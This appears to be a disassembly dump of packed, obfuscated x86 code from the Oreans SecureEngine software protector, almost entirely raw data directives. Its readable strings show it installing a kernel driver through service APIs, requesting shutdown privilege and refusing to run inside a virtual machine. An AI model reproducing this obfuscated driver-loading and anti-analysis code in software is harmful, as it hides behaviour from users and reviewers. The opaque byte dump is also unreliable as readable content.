dd 9362E163h, 87A01D45h, 6AC0CEh, 0F459DA68h, 0EABA50A8h
dd 5928362Ch, 0A6240481h, 6A570BA6h, 0DDB58B03h, 6A061F1Dh
dd 718D0300h, 0E8061F31h, 9, 1CE6F556h, 0BEB1F805h, 0FE8E0h
dd 7BC80000h, 788E179Dh, 0F102E9BEh, 8398B409h, 5F5FF570h
dd 0D78B036Ah, 58DFC681h, 27683D8Fh, 816703FBh, 4D92404h
dd 958B58FCh, 61F14E1h, 0B10A9D8Dh, 0BE90621h, 5A000000h
dd 0B6AB06D5h, 0E8F95EB5h, 8E0F6E0Ch, 6, 2D798D89h, 0BF50061Fh
dd 163C6991h, 0E9241C89h, 0Fh, 0E02E8848h, 1DB1A956h, 7B5E67F4h
dd 0FFEF4A5Bh, 5950BD0h, 40061F03h, 2F5850Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 21DFBBC3h, 604EFC13h, 2C89958Bh, 63B2061Fh, 22BE5861h
dd 90449253h, 11E950h, 10580000h, 0FE05F200h, 0E6D53ACBh
dd 14D4E07Ch, 90166FE7h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 1BC35141h, 0BFF38944h, 8166B525h, 6AB90ACFh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 7FB8441Ch, 0BAE4E781h, 4E87B7Ch, 80000000h
dd 50000000h, 448BEC8Ah, 8B0424h, 5FCF8B52h, 4244489h
dd 5840Fh, 66560000h, 5859F88Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0B4C35646h, 0CB5FE38Bh, 0BD8BBC55h
dd 61F2A85h, 1019D89h, 36A061Fh, 0F467E781h, 840F4753h
dd 6, 27358D8Bh, 6A061Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 8C35141h, 0C88B4D09h, 6A2AC280h, 53006A03h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 9D8D891Bh, 66061F13h, 0E86F34B9h, 4, 0C0000000h, 0F7D2D4BAh
dd 0BA665018h, 448B3701h, 8B0424h, 0E8D0Fh, 52500000h
dd 310F5250h, 310F585Ah, 585A6160h, 4244489h, 58F18B66h
dd 9D8D8DB5h, 621B113h, 50AABF66h, 0B9B96650h, 241C89BCh
dd 92C649B9h, 0C870F6Eh, 0F000000h, 68Bh, 0A9958900h, 0FF061F30h
dd 0BD8951D0h, 61F31F5h, 850F4059h, 137h, 6810Fh, 0EA810000h
dd 4D3AC62Bh, 0AE858h, 0AA840000h, 0E81B585Dh, 88268C4Eh
dd 0DC58D09h, 0F59061Fh, 6050CBB7h, 54F8BABBh, 616BB235h
dd 0E8240489h, 0Ch, 0A751E660h, 2E43063Dh, 807252E9h, 6A5FEC8Ah
dd 81666000h, 663B68F1h, 6861CB8Bh, 0CFBA9895h, 6492BA66h
dd 0EB240481h, 9304567h, 1F0ABD9Dh, 8A036A06h, 29006AD5h
dd 1F1355B5h, 6AD78B06h, 0B52B5003h, 61F2FD5h, 0D18A5259h
dd 4E85Fh, 0
dd 57BEC000h, 5049020Eh, 0E88A5250h, 850F310Fh, 2, 585AF98Bh
dd 424448Bh, 0A873B860h, 8B616EB3h, 0CF8B6600h, 4244489h
dd 0FE8B5250h, 830F310Fh, 0
dd 8958585Ah, 1F10D9B5h, 1E9D8D06h, 290621B1h, 1F121595h
dd 8B575006h, 1C895ED7h, 8D23FC24h, 61F2D7Dh, 958BD0FFh
dd 61F0FC9h, 40850F40h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 54E7C355h
dd 96CCC83h, 8D09B1F9h, 61F0C8Dh, 0E9F78B58h, 13Ch, 68D0Fh
dd 8D8B0000h, 61F13F1h, 8BF9B70Fh, 0AE8D8h, 70130000h
dd 2AAB7A68h, 0AA73342Bh, 5EF3B70Fh, 51006A4Bh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B9BBA400h
dd 346C1E0Bh, 4BDF8158h, 0E90BE02Ah, 9, 0E5921D6Fh, 0A5825F24h
dd 2585C60Ch, 43061F20h, 7E8h, 299D2D00h, 7D573ABDh, 0DF15C981h
dd 0B15F38ACh, 0A95368D2h, 8B6660EEh, 240481D6h, 5F87A154h
dd 0B058589h, 0B58B061Fh, 61F2FF5h, 20D9B5FFh, 28BE061Fh
dd 8D43AD81h, 1F394D85h, 5D8D2906h, 0FF061F27h, 55006AD0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 8B3107F7h, 1F167D8Dh, 7BB95006h, 89724BEEh, 6A241Ch
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0CD0322C3h, 0BD896022h, 61F30E5h, 4323D5BFh, 8DD0FF35h
dd 1F71109Dh, 6E906h, 61EF0000h, 233B364h, 1B8h, 12E900h
dd 0C8270000h, 0BD1157AEh, 97264592h, 0DCD765FEh, 0F27F799Eh
dd 8D89E3FFh, 61F13A9h, 8B66C18Bh, 89C08BCEh, 1F2AE5B5h
dd 83F08B06h, 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh
dd 8B535019h, 40FB8C0h, 85890000h, 61F1395h, 0B00B9D8Dh
dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h, 40FB853h
dd 85890000h, 61F1395h, 0ACAC9D8Dh, 0D3FF0621h, 0BD89585Bh
dd 61F2C85h, 73DCE181h, 0C08B7A0Ah, 13E8h, 41868D00h, 12D2D3E9h
dd 380BEA25h, 0B0B7043Ah, 4750A477h, 2AA5BD09h, 0F58061Fh
dd 681h, 83F38100h, 81456659h, 5A55C0h, 0DB816600h, 95B9A994h
dd 8158EFE4h, 0EFCE2EE9h, 0C3816658h, 308BB17Fh, 11E9h
dd 59B84E00h, 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh, 0C6814281h
dd 514F5C3Fh, 7A5958Bh, 0F681061Fh, 77860E98h, 1199BD8Bh
dd 0F681061Fh, 72DA2524h, 103D9589h, 0E956061Fh, 12h, 57E294AFh
dd 9EF62DF5h, 83E06193h, 82940FF8h, 8FAFFCh, 0F40FCBBh
dd 4E88345h, 6198D01h, 0E981061Fh, 1, 0FF90850Fh, 7E9FFFFh
dd 0E9000000h, 0BC149BDEh, 0EE94616h, 33000002h, 6E6E6143h
dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h
dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h
dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh
dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h
dd 2E6D61h, 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 0EFE900h, 85C60000h, 61F2025h, 5B866847h, 0B5FFE3E4h
dd 61F20D9h, 394D858Dh, 0D0FF061Fh, 10468h, 659D8D00h
dd 53061F17h, 8D50D0FFh, 21BA3FB5h, 32FE8B06h, 850FAEC0h
dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 1F202585h
dd 0FC684306h, 0FFBC8E6Eh, 1F20D9B5h, 4D858D06h, 0FF061F39h
dd 65B58DD0h, 6A061F17h, 806800h, 26A0000h, 6A006Ah, 68h
dd 0D0FF56C0h, 85C6D88Bh, 61F2025h, 0EE566857h, 0B5FFA69Bh
dd 61F20D9h, 394D858Dh, 0D0FF061Fh, 0EEDBD8Dh, 8D8D061Fh
dd 621BB65h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh
dd 0B847B58Dh, 858D0621h, 621A8EBh, 8D8DD0FFh, 61F7110h
dd 0B8h, 0C6E1FF00h, 1F202585h, 0A7684306h, 0FFC0764Ah
dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 0D0FF53D0h, 37D0B9C3h
dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h
dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_450050+4BB0h
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
dd 0C3F8h, 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
dd 83000000h, 21F3BABDh, 840F0006h, 0Ah, 1F5185C7h, 1061Fh
dd 85C60000h, 61F2025h, 34B06847h, 4813C38h, 3537DD24h
dd 0D9B5FF54h, 8D061F20h, 1F394D85h, 0FFD0FF06h, 80F88BD0h
dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h
dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h
dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h
dd 0F003F80h, 585h, 2E3E900h, 1E90000h, 47000000h, 0F203F80h
dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C6E90000h, 0E8000002h
dd 0Ah, 0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 621F33Ah, 225E8h
dd 0CFBD0300h, 830621F3h, 21F3CFBDh, 840F0006h, 0Bh, 6C185C7h
dd 1061Fh, 8DC30000h, 21F345B5h, 1FCE806h, 0BD030000h
dd 621F3CFh, 0F3CFBD83h, 0F000621h, 0B84h, 5185C700h, 1061F1Fh
dd 0C3000000h, 0F3BEB58Dh, 0D3E80621h, 3000001h, 21F3CFBDh
dd 0CFBD8306h, 621F3h, 0B840Fh, 85C70000h, 61F31ADh, 1
dd 4FB58DC3h, 0E80621F3h, 1AAh, 0F3CFBD03h, 0BD830621h
dd 621F3CFh, 0B840F00h, 0C7000000h, 1F1F5185h, 106h, 0B58DC300h
dd 621F359h, 181E8h, 0CFBD0300h, 830621F3h, 21F3CFBDh
dd 840F0006h, 15h, 1F5185C7h, 1061Fh, 85C70000h, 61F06C1h
dd 1, 67B58DC3h, 0E80621F3h, 14Eh, 0F3CFBD03h, 0BD830621h
dd 621F3CFh, 0A840F00h, 0C7000000h, 1F1BA185h, 106h, 71B58D00h
dd 0E80621F3h, 126h, 0F3CFBD03h, 0BD830621h, 621F3CFh
dd 0A840F00h, 0C7000000h, 1F1BA185h, 106h, 7CB58D00h, 0E80621F3h
dd 0FEh, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h
dd 1F0BA985h, 106h, 82B58D00h, 0E80621F3h, 0D6h, 0F3CFBD03h
dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h, 1F08B585h
dd 106h, 88B58D00h, 0E80621F3h, 0AEh, 0F3CFBD03h, 0BD830621h
dd 621F3CFh, 0A840F00h, 0C7000000h, 1F003185h, 106h, 96B58D00h
dd 0E80621F3h, 86h, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h
dd 0C7000000h, 1F207585h, 106h, 0A3B58D00h, 0E80621F3h
dd 5Eh, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h
dd 1F06B185h, 106h, 0AEB58D00h, 0E80621F3h, 36h, 0F3CFBD03h
dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h, 1F035985h
dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
dd 0B960C3FFh, 1, 1FE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h
dd 38178A00h, 5840F16h, 0B9000000h, 0
aFga db 'FG€>',0
db 0Fh, 84h, 8
dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h
dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
dd 0
dd 840FC90Bh, 0Dh, 0B589F32Bh, 621F3CFh, 0AE9h, 0CF85C700h
dd 621F3h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
dd 65536C6Fh, 63697672h, 65h, 7 dup(0)
dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have'
db 0Ah
db 0Dh,'administrator',27h,'s permits the first time that you are going to '
db 'run this program.',0
align 10h
dd 59h dup(0)
a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
db 0Dh,'is not open by another program.',0
align 10h
dd 67h dup(0)
a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro'
db 'grams using',0Ah
db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
db 0Dh,'Restart now?',0
align 4
dd 0D9h dup(0)
a_Oreans_vxd db '\\.\Oreans.vxd',0
align 4
dd 2 dup(0)
dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0 db 'SeShutdownPrivilege',0
dd 0
aCreateeventApi db 'CreateEvent API Error while extraction the driver',0
aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA db 'CreateService API Error while extraction the driver',0
aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi db 'OpenService API Error while extraction the driver',0
aStartserviceAp db 'StartService API Error while extraction the driver',0
aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
db 0Dh,'contact info@oreans.com for this error',0
align 8
dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
dd 70h dup(0)
dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0)
dd 6AC48B00h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0E45C355h, 91BD8BC8h, 89061F31h
dd 1F153D85h, 8BB7B106h, 0F18166C0h, 0BD834C18h, 61F06C1h
dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 43DB8h
dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h
dd 61F1Fh, 53501774h, 43DB8h, 65858900h, 8D061F0Fh, 21AC939Dh
dd 5BD3FF06h, 0E2816658h, 880FE500h, 6, 12C99523h, 0BD8B061Fh
dd 61F1295h, 0F98BC08Bh, 0BA66C08Bh, 0BD8375E3h, 61F06C1h
dd 83097500h, 1F1F51BDh, 13740006h, 0C08B5350h, 0B8h, 469D8D00h
dd 0FF0621AEh, 83585BD3h, 1F1F51BDh, 11740006h, 0B85350h
dd 8D000000h, 21ACF79Dh, 5BD3FF06h, 0C59D8958h, 0F061F32h
dd 686h, 5958900h, 8B061F2Ch, 8D9D29C0h, 0FC061F15h, 0CA8BC08Bh
dd 6C1BD83h, 7500061Fh, 51BD8309h, 61F1Fh, 53501374h, 0B8C08Bh
dd 8D000000h, 21AD789Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
dd 53501174h, 0B8h, 0C59D8D00h, 0FF0621ACh, 0F585BD3h
dd 42BAC9B7h, 8B1D2F72h, 0CE8C0h, 0CC840000h, 0D53D44BFh
dd 52E271CFh, 0CE8B7C7Dh, 52C08B59h, 0C1BD835Fh, 61F06h
dd 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h, 0
dd 0ADDF9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50117400h
dd 0B853h, 9D8D0000h, 621ACDEh, 585BD3FFh, 0AA59533h, 0D58A061Fh
dd 12E9C08Bh, 29000000h, 3D6C60CDh, 0D863ACCDh, 0E88350E0h
dd 87A1A9E6h, 6AC08BF9h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 1623C352h, 0C1BD83F9h
dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h
dd 0
dd 0AD119D8Dh, 0D3FF0621h, 0BD8B585Bh, 61F0BB1h, 0AE856h
dd 0BC4C0000h, 0F9B2446Eh, 0D6CA0A14h, 0DD9958Bh, 5A5A061Fh
dd 7ABAC08Bh, 0B9786768h, 7535F57Eh, 0FE8C08Bh, 27000000h
dd 0E9FE33CFh, 0A5365842h, 153D0438h, 8D89CE95h, 61F0035h
dd 0C1BD835Ah, 61F06h, 0BD830975h, 61F1F51h, 50197400h
dd 0B8C08B53h, 7D0h, 0F658589h, 9D8D061Fh, 621AFA4h, 585BD3FFh
dd 1F51BD83h, 7400061Fh, 0B8535017h, 7D0h, 0F658589h, 9D8D061Fh
dd 621AC93h, 585BD3FFh, 0DE8F5h, 37B30000h, 36965EC8h
dd 804E94DBh, 8BB16393h, 1F23318Dh, 0C08B5906h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 92C35747h, 0C6C0A4A7h
dd 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 69CE2EC3h, 158A6860h, 0E9FE8B66h
dd 13h, 0B88F354Bh, 0FE5F70E0h, 0FA92707Dh, 7692347Ch
dd 68DF91E7h, 99395F90h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 39C35040h, 3837A3CAh, 5E8h, 0C0802500h
dd 0ACBA02BCh, 597E7138h, 20D9B5FFh, 0B589061Fh, 61F30E5h
dd 394D858Dh, 8D8B061Fh, 61F1561h, 6AD0FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 89D847C3h
dd 1F2D5985h, 0D8D0B06h, 0F8061F00h, 202585C6h, 8B57061Fh
dd 1F134D95h, 2D8D8906h, 68061F06h, 90045206h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C2C35343h, 2C399589h
dd 0B5FF061Fh, 61F20D9h, 31718D09h, 858D061Fh, 61F394Dh
dd 8018CDB9h, 0B6D0FF26h, 0ED8589C7h, 6A061F1Ch, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0C603C356h, 1F202585h, 95894306h, 61F319Dh, 90702868h
dd 8E8BCh, 0D1110000h, 5078206Ah, 810F04CBh, 3, 59D2B70Fh
dd 2E90D981h, 0B5FF49BDh, 61F20D9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 84C35343h, 6437EF17h, 0B12CFC39h
dd 394D858Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 7E4930C3h, 3D958951h, 0FF061F30h
dd 0C981D0h, 89213995h, 1F2B0D85h, 0D5BD8B06h, 0C6061F2Ch
dd 1F202585h, 68F54C06h, 0D9DA1CE9h, 31799D09h, 0B5FF061Fh
dd 61F20D9h, 65858B60h, 8B061F1Ch, 1F2D3D85h, 858D6106h
dd 61F394Dh, 22DBD89h, 7DBA061Fh, 0FF689D71h, 56006AD0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0B18589D0h, 0E9061F2Dh, 11h, 0BD5911Dh, 502B961Dh, 0A0A11824h
dd 0F8C3F95Bh, 2585C6CFh, 46061F20h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0B4C35545h, 0FF93BCBFh, 849B6E3Dh
dd 8B65E580h, 1F1F558Dh, 6146806h, 8529BADEh, 61F30C5h
dd 20D9B5FFh, 8166061Fh, 8D37FCE2h, 1F394D85h, 13E906h
dd 39BD0000h, 0D496FC7Bh, 772EE9B2h, 3D23E642h, 0F3D89CAAh
dd 9D0FFDCh, 1F2E2595h, 15858906h, 53061F16h, 0EE9h, 0B39FAC00h
dd 0BC12739Ch, 982CF574h, 5AACE78Bh, 202585C6h, 0F947061Fh
dd 0FB5E268h, 0C75FBA8Ah, 0B5FF3082h, 61F20D9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A6C35242h, 22FD5E11h
dd 1693B9B0h, 0A5BF2231h, 8D4539A7h, 1F394D85h, 0E1816606h
dd 860F3BFCh, 6, 18B1B529h, 0D0FF061Fh, 0E558D8Bh, 8589061Fh
dd 61F0A11h, 0C6CFBF0Fh, 1F202585h, 6A4706h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0B7547BC3h
dd 0F368FC00h, 8983D0B5h, 1F00898Dh, 0D9B5FF06h, 9061F20h
dd 1F057DB5h, 11E806h, 0A4BF0000h, 43025398h, 0CC61C74Ah
dd 2AD9ECEAh, 0B6CDBC01h, 858D5FE0h, 61F394Dh, 0F1EF8166h
dd 89D0FF0Eh, 1F30858Dh, 0E5858906h, 66061F06h, 85C6FB8Bh
dd 61F2025h, 68CE8B77h, 0F397A8A3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0DFC35343h, 958B6236h, 61F1BEDh
dd 2C51B5FFh, 8B66061Fh, 4D858DFBh, 6A061F39h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 5D5C351h, 0B0B5B0B2h, 8D31D0FFh, 61F2CF9h, 0A18589h
dd 0BD8B061Fh, 61F2B25h, 202585C6h, 6047061Fh, 0E9C9B70Fh
dd 13h, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 0CFDF6987h, 61912E5Bh
dd 28FAF668h, 55006A87h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 63D5B97Ch, 76FF8613h, 5F577EEAh
dd 20D9B5FFh, 8B66061Fh, 4D858DF8h, 6A061F39h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 7117C356h, 13E95Ah, 0AEFE0000h, 0E7ADFA6Dh, 0A099BD6Eh
dd 7A4D62E3h, 4068A6DEh, 66D0FF42h, 8589C88Bh, 61F1FF9h
dd 6870Fh, 95310000h, 61F151Dh, 85C6D08Bh, 61F2025h, 56006A43h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0C5958B74h, 68061F0Eh, 0BC8E6EFCh, 110DBD01h, 0B5FF061Fh
dd 61F20D9h, 120D8D8Bh, 858D061Fh, 61F394Dh, 58D8B52h
dd 59061F1Bh, 958BD0FFh, 61F1701h, 30518589h, 46BF061Fh
dd 2908C418h, 1F1C4DBDh, 2585C606h, 45061F20h, 9BD8589h
dd 6968061Fh, 0E98E7269h, 0Fh, 72A08210h, 0BB5D9F36h, 0FC154AB9h
dd 66AF4668h, 0C7CBE981h, 20D9B5FFh, 6A061Fh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 18D50CC3h
dd 5E4D9E88h, 8B8C22C1h, 1F165595h, 4D858D06h, 66061F39h
dd 0D0FFFA8Bh, 23418589h, 8589061Fh, 61F0EE1h, 58E0Fh
dd 81660000h, 0C685B9F1h, 1F202585h, 830F4406h, 6, 1C39B529h
dd 6468061Fh, 66B8F2ECh, 8E9FE8Bh, 1B000000h, 4B2013E5h
dd 0FF09BF67h, 1F20D9B5h, 5DD8006h, 394D858Dh, 830F061Fh
dd 6, 2C45BD33h, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0A8C35242h, 6072F267h, 89F5869Bh
dd 1F088185h, 0CA8A5606h, 2585C659h, 43061F20h, 7E9h, 5ECDE700h
dd 2E71141h, 6820Fh, 0BD290000h, 61F2D35h, 764AA768h, 39BD09C0h
dd 0FF061F10h, 1F20D9B5h, 0D1B50106h, 8D061F0Bh, 1F394D85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 343D5D41h, 71958B1Dh, 0FF061F2Ah, 89F98BD0h
dd 1F107585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 7C9FCFE3h, 0B1B99F6Bh, 8B5FBE68h
dd 1F0CF1BDh, 3EBD8006h, 62203h, 6A840Fh, 0D7810000h, 750C8DA3h
dd 358D29h, 858D061Fh, 6220320h, 5C59589h, 6050061Fh, 77D18166h
dd 858B60DCh, 61F2EC1h, 16A6161h, 6ACB8B66h, 0E1BD8B00h
dd 6A061F1Eh, 99BD8B00h, 0FF061F20h, 1F2B0D95h, 89CF8B06h
dd 1F23CD85h, 0D68B6606h, 0EC8AFF6Ah, 23CDB5FFh, 0B531061Fh
dd 61F2F5Dh, 1CED95FFh
dd 8D0B061Fh, 61F163Dh, 0BF66C08Bh, 0BD834301h, 61F06C1h
dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 7D1B8h
dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h
dd 61F1Fh, 53501774h, 7D1B8h, 65858900h, 8D061F0Fh, 21AC939Dh
dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0E0A8358Ah, 0E92E0A40h, 0Ch, 61AB0701h
dd 0D0F86E08h, 2A115ABAh, 6AC88B66h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 76C4C353h
dd 0D68B6611h, 9E9h, 88E6700h, 0B020B215h, 0C08B1AA6h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h
dd 0E9A75DF3h, 11h, 0E3F30DB4h, 0A94F9B87h, 0A85B4148h
dd 0D9DC8896h, 8D9D89FAh, 0C6061F1Bh, 1F202585h, 0BA664706h
dd 0C168F0F6h, 6A93C8F7h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0A7ABC353h, 0C88A48E7h
dd 20D9B5FFh, 0E781061Fh, 3B158364h, 394D858Dh, 6A061Fh
